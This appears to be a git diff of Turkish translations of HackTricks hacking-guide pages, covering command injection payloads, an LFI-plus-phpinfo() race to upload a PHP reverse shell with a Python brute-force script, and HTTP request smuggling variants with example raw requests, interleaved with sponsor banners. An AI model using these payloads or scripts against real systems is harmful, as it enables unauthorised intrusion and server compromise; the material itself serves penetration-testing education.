**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -68,7 +72,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking hilelerini paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,28 +9,29 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
## Command Injection nedir?
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Bir **command injection**, bir saldırganın bir uygulamayı barındıran sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların çalıştırılması genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır.
## Komut Enjeksiyonu nedir?
Bir **komut enjeksiyonu**, bir saldırganın bir uygulamayı barındıran sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların çalıştırılması genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır.
### Bağlam
**Girdiğiniz yerin nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntı yapılan bağlamı sonlandırmanız** gerekebilir ( `"` veya `'` kullanarak).
## Command Injection/Execution
## Komut Enjeksiyonu/Çalıştırma
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -155,16 +156,16 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,26 +1,34 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Bu açığı istismar etmek için şunlara ihtiyacınız var: **Bir LFI açığı, phpinfo()'un görüntülendiği bir sayfa, "file\_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Bu güvenlik açığını istismar etmek için şunlara ihtiyacınız var: **Bir LFI güvenlik açığı, phpinfo()'un görüntülendiği bir sayfa, "file\_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
**Eğitim HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
ığı düzeltmeniz gerekiyor ( **=>** yerine **=>** değiştirin). Bunu yapmak için şunları yapabilirsiniz:
İstismarı düzeltmeniz gerekiyor ( **=>**'yi **=>** ile değiştirin). Bunu yapmak için şunları yapabilirsiniz:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
@ -30,19 +38,19 @@ You have to change also the **payload** at the beginning of the exploit (for a p
### Teori
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.
Eğer PHP'de dosya yüklemelerine izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.
Sonra, web sunucusunda bir LFI açığı bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi istismar edebilirsiniz.
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde saklanır.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce ona erişmek gerekir. Bu, "**phpconfig()**" fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
**phpinfo()**
**PHP**, **4096B**'lık bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **büyük başlıklar** kullanarak **birçok büyük istek** **gönderebilir**, **php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adı burada bulunur) ve php sunucusu dosyayı silmeden önce LFI açığını istismar ederek **geçici dosyaya erişmeye** çalışabilir.
**PHP**, **4096B**'lik bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adı burada bulunur) ve php sunucusu dosyayı silmeden önce LFI açığını istismar ederek **geçici dosyaya erişmeye** çalışabilir.
**İsimleri brute force denemek için Python scripti (uzunluk = 6)**
**İsimleri brute force denemek için Python scripti (eğer uzunluk = 6)**
```python
import itertools
import requests
@ -64,16 +72,24 @@ sys.exit(0)
print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,15 +9,23 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Nedir
Bu zafiyet, **ön uç proxyleri** ile **arka uç** sunucu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** HTTP **isteği** göndermesine olanak tanır; bu istek **ön uç** proxyleri tarafından **tek bir istek** olarak ve **arka uç** sunucu tarafından **2 istek** olarak **yorumlanır**.\
Bu güvenlik açığı, **ön uç proxyleri** ile **arka uç** sunucusu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** HTTP **isteği** göndermesine olanak tanır; bu istek **ön uç** proxyleri (yük dengeleme/ters proxy) tarafından **tek bir istek** olarak ve **arka uç** sunucusu tarafından **2 istek** olarak **yorumlanır**.\
Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değiştirmesine** olanak tanır.
### Teori
@ -32,31 +40,31 @@ Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değişt
**Transfer-Encoding: chunked**
> Transfer-Encoding başlığı, yük gövdesinin kullanıcıya güvenli bir şekilde aktarılması için kullanılan kodlama biçimini belirtir.\
> Transfer-Encoding başlığı, yük gövdesinin güvenli bir şekilde kullanıcıya aktarılması için kullanılan kodlama biçimini belirtir.\
> Chunked, büyük verilerin bir dizi parça halinde gönderildiği anlamına gelir.
### Gerçeklik
**Ön Uç** (bir yük dengeleme / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını **işler** ve **Arka Uç** sunucu **diğerini işler**, bu da iki sistem arasında bir **senkronizasyon bozukluğu** yaratır.\
Bu, **bir saldırganın ters proxyye bir istek göndermesine** olanak tanır ve bu istek **arka uç** sunucu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucunun **2. isteği enjekte edilmiş** gibi **yorumlaması** ve o istemcinin **gerçek isteğinin** **enjekte edilmiş isteğin** bir parçası olmasıdır.
**Ön Uç** (bir yük dengeleme / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını **işler** ve **Arka uç** sunucusu **diğerini** işleyerek iki sistem arasında bir **senkronizasyon bozukluğu** yaratır.\
Bu çok kritik olabilir çünkü **bir saldırgan, ters proxyye bir istek gönderebilir** ve bu istek **arka uç** sunucusu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucusunun **enjekte edilen 2. isteği** sanki **bir sonraki istemciden geliyormuş** gibi **yorumlamasında** ve o istemcinin **gerçek isteğinin** **enjekte edilen isteğin** bir parçası olmasındadır.
### Özellikler
HTTP'de **yeni bir satır karakteri 2 bayttan oluşur:**
HTTP'de **yeni bir satır karakterinin 2 bayttan oluştuğunu** unutmayın:
* **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra ihtiyaç yoktur**.
* **Transfer-Encoding:** Bu başlık, **gövde** içinde bir **onaltılık sayı** kullanarak **bir sonraki parçanın** **bayt** sayısını belirtir. **Parça**, **yeni bir satır** ile **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satır** ile bitmelidir: `0`
* **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra gerek yoktur**.
* **Transfer-Encoding:** Bu başlık, **bir sonraki parçanın** **bayt** sayısını belirtmek için **gövde** içinde bir **onaltılık sayı** kullanır. **Parça**, **yeni bir satırla** **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satırla** bitmelidir: `0`
* **Connection**: Deneyimlerime dayanarak, istek Smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.
## Temel Örnekler
{% hint style="success" %}
Burp Suite ile bunu sömürmeye çalışırken **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
Bunu Burp Suite ile istismar etmeye çalışırken **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini repeater'da devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
{% endhint %}
HTTP istek smuggling saldırıları, **Content-Length** (CL) ve **Transfer-Encoding** (TE) başlıklarının ön uç ve arka uç sunucular tarafından nasıl yorumlandığındaki tutarsızlıklardan yararlanan belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucuların bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
HTTP istek smuggling saldırıları, ön uç ve arka uç sunucularının `Content-Length` (CL) ve `Transfer-Encoding` (TE) başlıklarını nasıl yorumladığındaki tutarsızlıklardan yararlanan belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucularının bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Güvenlik açıkları, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
### Zafiyet Türlerinin Temel Örnekleri
### Güvenlik Açığı Türlerinin Temel Örnekleri
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
@ -64,14 +72,14 @@ HTTP istek smuggling saldırıları, **Content-Length** (CL) ve **Transfer-Encod
Önceki tabloya TE.0 tekniğini eklemelisiniz, CL.0 tekniği gibi ancak Transfer Encoding kullanarak.
{% endhint %}
#### CL.TE Zafiyeti (Content-Length Ön Uç tarafından, Transfer-Encoding Arka Uç tarafından kullanılır)
#### CL.TE Güvenlik Açığı (Ön Uçta Content-Length, Arka Uçta Transfer-Encoding kullanılır)
* **Ön Uç (CL):** İsteği `Content-Length` başlığına göre işler.
* **Arka Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
* **Saldırı Senaryosu:**
* Saldırgan, `Content-Length` başlığının değeri gerçek içerik uzunluğuyla eşleşmeyen bir istek gönderir.
* Ön uç sunucu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
* Arka uç sunucu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği parça parça olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
* Ön uç sunucusu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
* Arka uç sunucusu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği parça parça olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
* **Örnek:**
```
@ -87,14 +95,14 @@ GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Zafiyeti (Transfer-Encoding Ön Uç tarafından, Content-Length Arka Uç tarafından kullanılır)
#### TE.CL Güvenlik Açığı (Ön Uçta Transfer-Encoding, Arka Uçta Content-Length kullanılır)
* **Ön Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
* **Arka Uç (CL):** İsteği `Content-Length` başlığına göre işler.
* **Saldırı Senaryosu:**
* Saldırgan, parça boyutunun (`7b`) ve gerçek içerik uzunluğunun (`Content-Length: 4`) uyum sağlamadığı bir parça isteği gönderir.
* Ön uç sunucu, `Transfer-Encoding` başlığını dikkate alarak tüm isteği arka uca iletir.
* Arka uç sunucu, `Content-Length` başlığını dikkate alarak isteğin yalnızca ilk kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
* Ön uç sunucusu, `Transfer-Encoding` başlığını dikkate alarak tüm isteği arka uca iletir.
* Arka uç sunucusu, `Content-Length` başlığını dikkate alarak isteğin yalnızca ilk kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
* **Örnek:**
```
@ -115,12 +123,12 @@ x=
```
#### TE.TE Zafiyeti (Her ikisi de Transfer-Encoding kullanıyor, obfuscation ile)
#### TE.TE Güvenlik Açığı (Her ikisinde de Transfer-Encoding, obfuscation ile)
* **Sunucular:** Her ikisi de `Transfer-Encoding` destekliyor, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.
* **Sunucular:** Her ikisi de `Transfer-Encoding` destekler, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.
* **Saldırı Senaryosu:**
* Saldırgan, obfuscate edilmiş `Transfer-Encoding` başlıkları ile bir istek gönderir.
* Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL zafiyeti sömürülebilir.
* Saldırgan, obfuscate edilmiş `Transfer-Encoding` başlıklarıyla bir istek gönderir.
* Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL güvenlik açığı istismar edilebilir.
* İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğünde, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
* **Örnek:**
@ -141,10 +149,10 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Senaryosu (Content-Length her iki tarafça da kullanılır)**
#### **CL.CL Senaryosu (Her iki tarafta da Content-Length kullanılır)**
* Her iki sunucu da isteği yalnızca `Content-Length` başlığına dayanarak işler.
* Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu yorumlama konusunda uyumludur.
* Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun istek uzunluğunu yorumlamasında bir uyum vardır.
* **Örnek:**
```
@ -158,7 +166,7 @@ Normal Request
#### **CL.0 Senaryosu**
* `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, isteğin gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (bu 0 olarak kabul edilir), ancak ön uç bunu işler.
* `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, istek gövdesinin içerik taşıdığını gösterir. Arka uç, `Content-Length` başlığını göz ardı eder (0 olarak kabul edilir), ancak ön uç bunu işler.
* Smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu belirlemesini etkiler.
* **Örnek:**
@ -174,7 +182,7 @@ Non-Empty Body
#### TE.0 Senaryosu
* Öncekine benzer ancak TE kullanarak.
* Teknik [burada rapor edilmiştir](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* [Burada bildirilen teknik](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **Örnek**:
```
OPTIONS / HTTP/1.1
@ -195,13 +203,13 @@ EMPTY_LINE_HERE
```
#### Web sunucusunu kırma
Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırmanın** mümkün olduğu senaryolarda da faydalıdır, ancak **bağlantıyı kapatmadan**. Bu şekilde, HTTP isteğinin **gövdesi** bir sonraki HTTP isteği olarak kabul edilecektir.
Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırmanın** mümkün olduğu senaryolarda da faydalıdır, ancak **bağlantıyı kapatmadan**. Bu şekilde, HTTP isteğinin **gövdesi**, **bir sonraki HTTP isteği** olarak kabul edilecektir.
